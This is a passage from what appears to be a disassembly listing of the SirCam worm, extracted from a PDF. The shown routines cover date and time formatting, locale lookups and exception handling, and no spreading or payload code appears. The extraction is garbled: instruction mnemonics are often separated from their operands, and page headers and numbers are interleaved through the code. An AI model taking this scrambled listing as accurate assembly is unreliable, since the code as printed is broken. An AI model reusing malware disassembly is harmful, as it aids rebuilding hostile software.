[ebp+arg_0] push eax movzx eax, [ebp+var_18] mov edx, [ebp+var_C] call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4088CB: ; CODE XREF: sub_4084A8+C1\030j sircam.asm Fri Aug 10 12:42:44 2001 232 ; DATA XREF: sub_4084A8+121\030o push call pop push call pop cmp jle mov ebp sub_408190 ecx ebp sub_4081F4 ecx [ebp+var_C], 2 short loc_4088E6 [ebp+var_C], 2 loc_4088E6: ; CODE XREF: sub_4084A8+435\030j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_1A] mov edx, [ebp+var_C] call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4088FC: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+125\030o push ebp call sub_408190 pop ecx cmp [ebp+var_C], 1 jnz short loc_40891D mov eax, [ebp+arg_0] push eax mov eax, ds:dword_41E508 call sub_4084A8 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40891D: ; CODE XREF: sub_4084A8+45F\030j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_41E50C call sub_4084A8 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408931: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+129\030o push call pop push call pop cmp jle mov ebp sub_408190 ecx ebp sub_4081F4 ecx [ebp+var_C], 3 short loc_40894C [ebp+var_C], 3 loc_40894C: ; CODE XREF: sub_4084A8+49B\030j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_1C] mov edx, [ebp+var_C] call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408962: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+12D\030o push ebp sircam.asm Fri Aug 10 12:42:44 2001 call pop mov dec mov mov mov call test jnz cmp jb add 233 sub_4081F4 ecx esi, [ebp+var_4] esi edx, offset dword_408BF8 ecx, 5 eax, esi sub_4075E0 eax, eax short loc_4089AA [ebp+var_16], 0Ch short loc_40898C esi, 3 loc_40898C: ; CODE XREF: sub_4084A8+4DF\030j mov eax, [ebp+arg_0] push eax mov edx, 2 mov eax, esi call sub_4080E0 pop ecx add [ebp+var_4], 4 mov [ebp+var_1E], 1 jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4089AA: mov mov mov call test jnz cmp jb add ; CODE XREF: sub_4084A8+4D8\030j edx, offset dword_408C00 ecx, 3 eax, esi sub_4075E0 eax, eax short loc_4089E7 [ebp+var_16], 0Ch short loc_4089C9 esi, 2 loc_4089C9: ; CODE XREF: sub_4084A8+51C\030j mov eax, [ebp+arg_0] push eax mov edx, 1 mov eax, esi call sub_4080E0 pop ecx add [ebp+var_4], 2 mov [ebp+var_1E], 1 jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4089E7: ; CODE XREF: sub_4084A8+515\030j mov edx, offset aAmpm ; "AMPM" mov ecx, 4 mov eax, esi call sub_4075E0 test eax, eax jnz short loc_408A30 cmp [ebp+var_16], 0Ch jnb short loc_408A14 mov eax, [ebp+arg_0] push eax mov eax, ds:dword_41E500 call sub_408124 pop ecx jmp short loc_408A23 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408A14: mov push mov ; CODE XREF: sub_4084A8+559\030j eax, [ebp+arg_0] eax eax, ds:dword_41E504 sircam.asm Fri Aug 10 12:42:44 2001 call pop 234 sub_408124 ecx loc_408A23: ; CODE XREF: sub_4084A8+56A\030j add [ebp+var_4], 3 mov [ebp+var_1E], 1 jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408A30: ; CODE XREF: sub_4084A8+552\030j mov edx, offset aAaaa ; "AAAA" mov ecx, 4 mov eax, esi call sub_4075E0 test eax, eax jnz short loc_408A74 push ebp call sub_4081BC pop ecx mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] call sub_408068 mov eax, ds:dword_41E588[eax*4] call sub_408124 pop ecx add [ebp+var_4], 3 jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408A74: ; CODE XREF: sub_4084A8+59B\030j mov edx, offset off_408C14 mov ecx, 3 mov eax, esi call sub_4075E0 test eax, eax jnz short loc_408AB8 push ebp call sub_4081BC pop ecx mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] call sub_408068 mov eax, ds:dword_41E56C[eax*4] call sub_408124 pop ecx add [ebp+var_4], 2 jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408AB8: ; CODE XREF: sub_4084A8+5DF\030j mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_5] mov edx, 1 call sub_4080E0 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408ACF: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+131\030o push call pop ebp sub_408190 ecx sircam.asm Fri Aug 10 12:42:44 2001 mov push mov call pop push call pop cmp jnz cmp jnz cmp jz 235 eax, [ebp+arg_0] eax eax, ds:dword_41E4F4 sub_4084A8 ecx ebp sub_4081F4 ecx [ebp+var_16], 0 short loc_408B05 [ebp+var_18], 0 short loc_408B05 [ebp+var_1A], 0 loc_408BB8 loc_408B05: ; CODE XREF: sub_4084A8+649\030j ; sub_4084A8+650\030j mov eax, [ebp+arg_0] push eax mov eax, offset dword_408C18 mov edx, 1 call sub_4080E0 pop ecx mov eax, [ebp+arg_0] push eax mov eax, ds:dword_41E50C call sub_4084A8 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408B2D: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+135\030o mov eax, [ebp+arg_0] push eax mov eax, offset byte_41E4F1 mov edx, 1 call sub_4080E0 pop ecx jmp short loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408B43: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+139\030o mov eax, [ebp+arg_0] push eax mov eax, offset byte_41E4FC mov edx, 1 call sub_4080E0 pop ecx jmp short loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408B59: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+13D\030o mov esi, [ebp+var_4] jmp short loc_408B7A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408B5E: and bt jnb inc mov cmp jz ; CODE XREF: sub_4084A8+6DE\031j eax, 0FFh ds:dword_41C104, eax short loc_408B77 [ebp+var_4] eax, [ebp+var_4] byte ptr [eax], 0 short loc_408B88 inc [ebp+var_4] loc_408B77: ; CODE XREF: sub_4084A8+6C2\030j sircam.asm Fri Aug 10 12:42:44 2001 loc_408B7A: 236 ; CODE XREF: sub_4084A8+6B4\030j mov mov test jz cmp jnz eax, [ebp+var_4] al, [eax] al, al short loc_408B88 al, [ebp+var_5] short loc_408B5E loc_408B88: ; CODE XREF: sub_4084A8+6CD\030j ; sub_4084A8+6D9\030j mov eax, [ebp+arg_0] push eax mov edx, [ebp+var_4] sub edx, esi mov eax, esi call sub_4080E0 pop ecx mov eax, [ebp+var_4] cmp byte ptr [eax], 0 jz short loc_408BB8 inc [ebp+var_4] jmp short loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408BA6: ; CODE XREF: sub_4084A8+B5\030j ; sub_4084A8+C1\030j ; DATA XREF: ... mov push lea mov call pop eax, [ebp+arg_0] eax eax, [ebp+var_5] edx, 1 sub_4080E0 ecx loc_408BB8: ; CODE XREF: sub_4084A8+52\030j ; sub_4084A8+7F\030j ... mov mov test jnz eax, [ebp+var_4] al, [eax] al, al loc_4084FF mov dec ; CODE XREF: sub_4084A8+74\030j eax, [ebp+arg_0] dword ptr [eax-108h] loc_408BC5: loc_408BCE: ; CODE XREF: sub_4084A8+25\030j ; sub_4084A8+35\030j xor pop pop pop mov push loc_408BDB: sub_4084A8 eax, eax edx ecx ecx fs:[eax], edx offset loc_408BF0 ; CODE XREF: CODE:00408BEE\031j lea eax, [ebp+var_28] mov edx, 2 call sub_4034EC retn endp ; sp = -38h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408BE9: ; DATA XREF: sub_4084A8+16\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_408BDB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 237 loc_408BF0: ; DATA XREF: sub_4084A8+72E\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_408BF8 dd 502F4D41h, 4Dh ; DATA XREF: sub_4084A8+359\030o ; sub_4084A8+4C5\030o dword_408C00 dd 502F41h ; DATA XREF: sub_4084A8+36E\030o ; sub_4084A8+502\030o aAmpm db ’AMPM’,0 ; DATA XREF: sub_4084A8+383\030o ; sub_4084A8+53F\030o align 4 aAaaa db ’AAAA’,0 ; DATA XREF: sub_4084A8+588\030o align 4 off_408C14 dd offset loc_414141 ; DATA XREF: sub_4084A8+5CC\030o dword_408C18 dd 20h ; DATA XREF: sub_4084A8+661\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408C1C proc near var_108 var_104 var_100 = dword ptr -108h = dword ptr -104h = byte ptr -100h ; CODE XREF: sub_408C78+B\031p ; sub_408C8C+A\031p push ebp mov ebp, esp add esp, 0FFFFFEF8h push ebx push esi mov ebx, edx mov esi, eax xor eax, eax mov [ebp+var_104], eax xor eax, eax mov [ebp+var_108], eax test ebx, ebx jz short loc_408C4A push ebp mov eax, ebx call sub_4084A8 pop ecx jmp short loc_408C56 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408C4A: push mov call pop loc_408C56: sub_408C1C lea mov mov call pop pop mov pop retn endp ; CODE XREF: sub_408C1C+21\030j ebp eax, offset dword_408C74 sub_4084A8 ecx ; CODE XREF: sub_408C1C+2C\030j edx, [ebp+var_100] eax, esi ecx, [ebp+var_104] sub_4035B0 esi ebx esp, ebp ebp 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm dword_408C74 Fri Aug 10 12:42:44 2001 align 4 dd 43h 238 ; DATA XREF: sub_408C1C+2F\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408C78 proc near arg_0 arg_4 = dword ptr = dword ptr sub_408C78 push mov push push xor call pop retn endp ; CODE XREF: start+7E6\031p 8 0Ch ebp ebp, esp [ebp+arg_4] [ebp+arg_0] edx, edx sub_408C1C ebp 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408C8C proc near arg_0 arg_4 = dword ptr = dword ptr sub_408C8C push mov push push xchg call pop retn endp ; CODE XREF: sub_411110+67\031p ; sub_411110+EF\031p 8 0Ch ebp ebp, esp [ebp+arg_4] [ebp+arg_0] eax, edx sub_408C1C ebp 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_408CA0 proc near var_101 var_100 = byte ptr -101h = byte ptr -100h ; CODE XREF: sub_40A398+31\031p push ebx add esp, 0FFFFFF00h mov ebx, edx push 0 push 100h lea edx, [esp+108h+var_100] push edx push 0 push eax push 0 push 3000h call j_FormatMessageA jmp short loc_408CC7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408CC6: ; CODE XREF: sub_408CA0+32\031j sircam.asm Fri Aug 10 12:42:44 2001 239 ; sub_408CA0+37\031j dec eax test jle mov sub jb sub jz ; CODE XREF: sub_408CA0+24\030j eax, eax short loc_408CD9 dl, [esp+eax+100h+var_101] dl, 21h short loc_408CC6 dl, 0Dh short loc_408CC6 loc_408CC7: loc_408CD9: sub_408CA0 ; CODE XREF: sub_408CA0+29\030j mov mov xchg call add pop retn endp edx, esp ecx, ebx eax, ecx sub_4035B0 esp, 100h ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408CEC proc near var_100 arg_0 = byte ptr -100h = dword ptr 8 ; CODE XREF: sub_408D60+1C\031p ; sub_408F74+27\031p ... push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h lea ecx, [ebp+var_100] push ecx push edx push eax call j_GetLocaleInfoA_0 test eax, eax jle short loc_408D25 mov ecx, eax dec ecx lea edx, [ebp+var_100] mov eax, ebx call sub_4035B0 jmp short loc_408D2E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408D25: ; CODE XREF: sub_408CEC+25\030j mov mov call eax, ebx edx, esi sub_40351C pop pop mov pop retn endp esi ebx esp, ebp ebp 4 loc_408D2E: sub_408CEC ; CODE XREF: sub_408CEC+37\030j sircam.asm Fri Aug 10 12:42:44 2001 240 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_408D38 proc near var_10 = byte ptr -10h ; CODE XREF: sub_40A020+AD\031p ; sub_40A020+C0\031p ... push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 lea eax, [esp+4] push eax push esi push edi call j_GetLocaleInfoA_0 test eax, eax jle short loc_408D59 mov al, [esp+10h+var_10] jmp short loc_408D5B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408D59: ; CODE XREF: sub_408D38+1A\030j mov eax, ebx loc_408D5B: sub_408D38 ; CODE XREF: sub_408D38+1F\030j pop edx pop edi pop esi pop ebx retn endp ; sp = -10h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408D60 proc near var_4 arg_0 arg_8 = dword ptr -4 = dword ptr 8 = dword ptr 10h push mov push push push push mov mov mov mov push mov mov xor mov call ebp ebp, esp ecx ebx esi edi [ebp+var_4], ecx edi, edx esi, eax ebx, [ebp+arg_0] ebx eax, [ebp+arg_8] eax, [eax-4] ecx, ecx edx, esi sub_408CEC ; CODE XREF: sub_408D9C+46\031p ; sub_408D9C+69\031p ... sircam.asm Fri Aug 10 12:42:44 2001 cmp jnz mov mov mov call dword ptr [ebx], 0 short loc_408D93 eax, [ebp+var_4] eax, [eax+edi*4] edx, ebx sub_404B80 pop pop pop pop pop retn endp edi esi ebx ecx ebp 8 loc_408D93: sub_408D60 241 ; CODE XREF: sub_408D60+24\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408D9C proc near var_18 var_14 var_10 var_C var_8 var_4 = = = = = = dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_40A020+23\031p -18h -14h -10h -0Ch -8 -4 push mov xor push push push push push push push push push xor push push push mov call mov mov mov mov ebp ebp, esp ecx, ecx ecx ecx ecx ecx ecx ecx ebx esi edi eax, eax ebp offset loc_408EAF dword ptr fs:[eax] fs:[eax], esp j_GetThreadLocale_0 [ebp+var_4], eax ebx, 1 esi, offset unk_41E510 edi, offset unk_41E540 push push lea push mov mov dec lea dec call pop mov mov call ; CODE XREF: sub_408D9C+83\031j ebp 0Bh eax, [ebp+var_C] eax ecx, offset off_41C160 edx, ebx edx eax, [ebx+44h] eax sub_408D60 ecx edx, [ebp+var_C] eax, esi sub_40351C loc_408DCF: sircam.asm Fri Aug 10 12:42:44 2001 push push lea push mov mov dec lea dec call pop mov mov call inc add add cmp jnz mov mov mov ebp 0Bh eax, [ebp+var_10] eax ecx, offset off_41C190 edx, ebx edx eax, [ebx+38h] eax sub_408D60 ecx edx, [ebp+var_10] eax, edi sub_40351C ebx edi, 4 esi, 4 ebx, 0Dh short loc_408DCF ebx, 1 esi, offset unk_41E570 edi, offset unk_41E58C lea mov cdq idiv mov push push lea push mov mov dec mov add call pop mov mov call push push lea push mov mov dec mov add call pop mov mov call inc add add cmp jnz xor pop pop pop mov push eax, [ebx+5] ecx, 7 loc_408E30: loc_408EA1: 242 ; CODE XREF: sub_408D9C+F6\031j ecx [ebp+var_8], edx ebp 6 eax, [ebp+var_14] eax ecx, offset off_41C1C0 edx, ebx edx eax, [ebp+var_8] eax, 31h sub_408D60 ecx edx, [ebp+var_14] eax, esi sub_40351C ebp 6 eax, [ebp+var_18] eax ecx, offset off_41C1DC edx, ebx edx eax, [ebp+var_8] eax, 2Ah sub_408D60 ecx edx, [ebp+var_18] eax, edi sub_40351C ebx edi, 4 esi, 4 ebx, 8 short loc_408E30 eax, eax edx ecx ecx fs:[eax], edx offset loc_408EB6 ; CODE XREF: CODE:00408EB4\031j sircam.asm Fri Aug 10 12:42:44 2001 sub_408D9C lea eax, [ebp+var_18] mov edx, 4 call sub_4034EC retn endp ; sp = -2Ch 243 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408EAF: ; DATA XREF: sub_408D9C+11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_408EA1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408EB6: ; DATA XREF: sub_408D9C+100\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408EC0 proc near arg_0 = dword ptr ; DATA XREF: sub_408F74+4E\031o 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_408ED4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408ECE: ; CODE XREF: sub_408EC0+1C\031j cmp jz inc ebx, 7 short loc_408EF2 ebx cmp jnz lea mov call mov ; CODE XREF: sub_408EC0+C\030j ds:dword_41E5B0[ebx*4], 0 short loc_408ECE eax, dword_41E5B0[ebx*4] edx, [ebp+arg_0] sub_403680 esi, 1 loc_408ED4: loc_408EF2: sub_408EC0 ; CODE XREF: sub_408EC0+11\030j mov pop pop pop retn endp eax, esi esi ebx ebp 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408EFC proc near ; DATA XREF: sub_408F74+77\031o sircam.asm var_4 arg_0 Fri Aug 10 12:42:44 2001 244 = dword ptr -4 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_408F61 push dword ptr fs:[eax] mov 